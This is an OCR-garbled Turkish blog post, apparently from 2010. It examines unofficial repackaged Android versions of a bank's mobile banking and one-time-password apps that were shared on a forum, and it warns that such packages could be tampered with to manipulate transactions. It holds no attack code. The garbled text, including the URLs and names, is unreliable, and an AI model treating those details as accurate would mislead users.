Mesaji 18 yukseklik ve geniglikten kastirmz umanm budur,

wildfire da bu tip sorunlarla gok kez karsilastim fakan iscep te okadar gok tastiki onaylama tuslan falan yoktu piyasada :)

bu sebepten aktivasyonu dahi halledemedm...
E:&J:Tﬂpcuoglu § DOn: 19143118 &d Zrm e Weiok £ 1Cevap ® 1A Gl vonlendir 1 () shayet B2
*

http://www.upload.gen.tr/d.php/s18/kycoeysy/IsCep_51_7_12.apk.html
Denermisiniz? Saninm ekran boyutlan fixed konumda gozim sunacaktir size.

Mesaji 27
?F?Obd J Don; 2315034 et “rm e 81k €' Cevap % 1At @dventendic [ ) (1) Skayet B
egmen
s
Arkadaglar,
Anroid igin samnm farkh versiyon var ama Java versiyonu 4 farkh ekran gozun0rudu igin var:
e
t http://mabil.isbank.com.tr/dist51s/IsCep-51-7-10.jar
http://mobil.isbank.com.tr/dist51s/1sCep-51-7-12.jar
http://mobil.isbank.com, tr/dist51s/IsCep-51-7-13.jar
Mesaji 213 http: //mobil.isbank.com. tr/dist51s/1sCep-51-7-14.Jar
tek tek denenebilir, (Linkler galimazsa kopyala yapistir yapin)
Selamiar
< Bu mesa) bu kigi tarafindan dedistnldi alibaba -- 26 Arahk 2010; 23:54:36 >
Sayfa: [1]
O Cevapla ) tizh Cevap ) Tum forumbar » [Mobil Cihazlar] » Avug ici bilgisayar (Pocket PC/ SmartPhona) » Android » lscep & Cep Anahtar Isbankas Sayfa: [1]
Android Strimi
Rirnun albs | - - - - Anderd L GIT |

Bankalar tarafindan miisterilerin kullanimina sunulan bu tiir mobil uygulamalar genellikle Java destekleyen mobil cihazlarda ve IPhone/
IPAD cihazlarinda ¢alismaktadir. Her ne kadar Android uygulamalari Java ile yaziliyor, javac derleyicisi ile derleniyor ve standart Java
bayt kodu (bytecode) yani class dosyast olugturuyorda olsa son adimda DEX formatina gevrilerek farkli bir dosya formatina biirinmekte
ve Android isletim sistemi iizerinde ¢aligabilir hale gelmektedir. Android’in APK dosyasini Java’nin JAR dosyasi, DEX dosyasini ise
Java’nin class dosyast gibi diigiinebilirsiniz.

Piyasada dex dosyasini class dosyasina, class dosyasini dex dosyasina ¢eviren programlarin bulunmasi ve ayrica class dosyalarini
decompile edebilen ¢ok sayida programin olmasi nedeniyle bir Java uygulamasinin Android isletim sistemi ile uyumlu hale getirilmesi
beni ¢ok sasirtmadi. (Internette ufak bir arastirma yapacak olursaniz JAR paketini APK paketine ¢eviren web siteleri oldugunu bile
gorebilirsiniz.)

Beni asil sasirtan, herhangi bir kisi tarafindan olusturulan, dogrulugu ve giivenilirligi soru isareti olan bu paketlerin bir ¢ok kisi tarafindan
indirilmis ve cep telefonlarina kurulmus olmasiydi. Ozellikle cep telefonlarina bulasan Zeus trojaninin etrafi kasip kavurdugu su giinlerde
bu tiir paketlerin sorgusuz sualsiz cep telefonlarina kuruluyor olmasi, farkindaligin ne boyutlarda olduguna dair giizel bir 6rnekti.

Bunun iizerine bende paketi indirip kisaca bir goz atmaya karar verdim.
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http://www.netmite.com/android/srv/1.7/getapk.php

lscep CepAnahtar_Android_powered by EngiN_23-12-2010.rar - WinRAR
Toolg Favgrites Options Help

g;}gmwh@m@ Bk 40U ¥

Add Extract To  Test hew Delete Find Wizard WirusScan Comment  Protect
v

@ 8 1scep_Cepanahtar_Android_powered_by_EngiN_23-12-2010,rar - RAR archive, unpacked size 15,090,200 bytes

| Narme Iscep_Android_YeniSurum Calisan_by EngiM.apk yazan uygulama;
dgbankasi online iglem merkezi‘nde yapmaniz gereken iglemler'i cep telefonunuz iizerinden yapmaniz igin gereken uy:
& ™ Yani isbank.com.tr'ye girmenize gerek kalmaz.
Fscep_Android_YeniSurum_Calisan_by_Engi.apk Android_CepAnahtar_Engin.apk yazan uygulama ise;
L) Android_CepAnahtar_Engin.apk isbankasi.con.tr ‘ye girerken, cep telefonunuzdan tek kullanimlik sifreler iiretmenize yarar.
12] Beni Olau.txt
Android cihazlarda denenmigtir.
APK‘lar Engin Topguodlu tarafindan yapilmigtir. Kitii bir amag veya bagka birsey asla giidiilmenis; kigilerin ve sah:
Eretin yapilmgtar.
lygulamalari yilkledikten sonra 111
https://www.isbank.con.tr/Internet/MainPageEnter . aspx?src=CepAnahtaraktivasyon adresine girin "Uygulamayi fApple St
Hokia Ovi Store'dan yiiklediyseniz agagidaki segenedi igaretleyiniz" yazisinin altindaki kutucugu isaretliyoruz.
dan sonra bilgisayarimizdaki verilen kodlari telefondaki biliimlere girerek devam ediyoruz ve aktivasyon tamam
4 L >
=g Total | folder and 263,723 bytes in 3 filas

Pakette yer alan mesajda "K&tii bir amag veya bagka birsey asla giidiilmemis" ifadesi yer aliyordu. Ayrica paketi hazirlayan kisi, paketin
icine hediye olarak Angry Birds oyununu koymayida ihmal etmemisti. Giivenlik ile ilgili haberleri takip ediyorsaniz, gectigimiz giinlerde

Angry Bird oyununun kullanici bilgilerini kopyaladigina dair haberlere rastlamigsinizdir.
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http://www.ensonhaber.com/iphonedaki-gizli-tehlike-2010-12-22.html

£ lscep_CepAnahtar_Android_powered by EngiN_23-12-2010.rar - WinRAR
Fle Commands Toolg Fawvgrites Options Help

DARUOYMIPO R LU ¥

Extract To

Test

View Delete

‘Wizard Info WirusScan Comment Protect

[E 8B 1scep_Cepanahtar_Android_powered_by_Engill_23-12-2010.rar\Hediye Uygulamalar - RAR archive, unpacked size 15,090,200 bytes

| Narme

@Mw_sua.s_vl 4.2.apk

Iscep_android_YeniSurum_Calisan_by EngiN.apk yazan uygulama;
igbankasi online iglem merkezi'nde yapmaniz gereken iglemler‘i cep telefonunuz iizerinden yapmaniz igin gereken uyi
Yani isbank.com.tr'ye girmenize gerek kalmaz.

Android_CepAnahtar_Engin.apk yazan uygulama ise;
igbankasi.com.tr ‘ye girerken, cep telefonunuzdan tek kullanmimlik sifreler iiretmenize yarar.

Android cihazlarda denenmigtir.

APK*lar Engin Topguodlu tarafindan yapilmigtir. Kitii bir amag veya baska birsey asla giidiilmemig; kigilerin ve sah:
jdiretimi yapilmgtar.

Uygulamalar: yiikledikten sonra tt%
https://www.isbank.com.tr/Internet/MainPageEnter.aspx?sre=CepAnahtarfaktivasyon adresine girin “Uygulamayr Apple St

Hokia Ovi Store’dan yiiklediyseniz agagidaki segenedi igaretleyiniz” yazisinin altindaki kutucugu igaretliyoruz.
Bundan sonra bilgisayarimizdaki verilen kodlari telefondaki biliimlere girerek devam ediyoruz ve aktivasyon tamam

Total 14,826,477 bytes in 1 file

Paketin i¢inden ¢ikan APK dosyalarini agmak i¢in uzantilarin1 ZIP olarak degistirip agtigimda beklendigi gibi her bir paket i¢inden
DEX ve ayrica DAT uzantili dosyalar ¢ikti. Hex editor ile siipheli bir duruma kars1 dosyalara kisaca goz attigimda mobil uygulamalara
ait parametrelerin DAT uzantili dosyalarda sifresiz olarak saklandigini gérdiim. Agikcasi bu durum beni biraz sasirtt1 ¢linkii dis diinya
ile paylasilan bir uygulamanin banka tarafindan katmanh giivenlik stratejisi ile hazirlanmis olmasini beklerdim. Ayrica forumda mobil
uygulama baglant1 adresinin elden ele dolagsmasida bana pek dogru gelmedi en azindan bankadan, uygulamalar: indirtmeden 6nce
miisterilerini dogrulamasini beklerdim.

Cok ileriye gitmeden g6z attigim kadartyla stipheli bir durum ile karsilagmadim ancak her bir DEX dosyasini analiz edene kadar bu
iki dosyaninda zararsiz oldugunu sdylemek ¢ok dogru olmayacaktir. Sonugta art niyetli bir kisi isterse DEX dosyalarini disassemble
edebilir, bayt kodlarimi degistirerek bankacilik islemlerini manipiile edebilir ve bunu Android uyumlu paket hazirladigini ileri siirerek
masum insanlari kolaylikla agina diistirebilir. Bu nedenle dogrulugundan ve giivenilirliginden emin olmadigimiz uygulamalari, 6zellikle
ve dzellikle bankacilik uygulamalarini cep telefonunuza kurmamanizi éneririm.

Bir sonraki yazida goriismek dilegiyle herkese saglik ve mutluluk dolu bir y1l dilerim.
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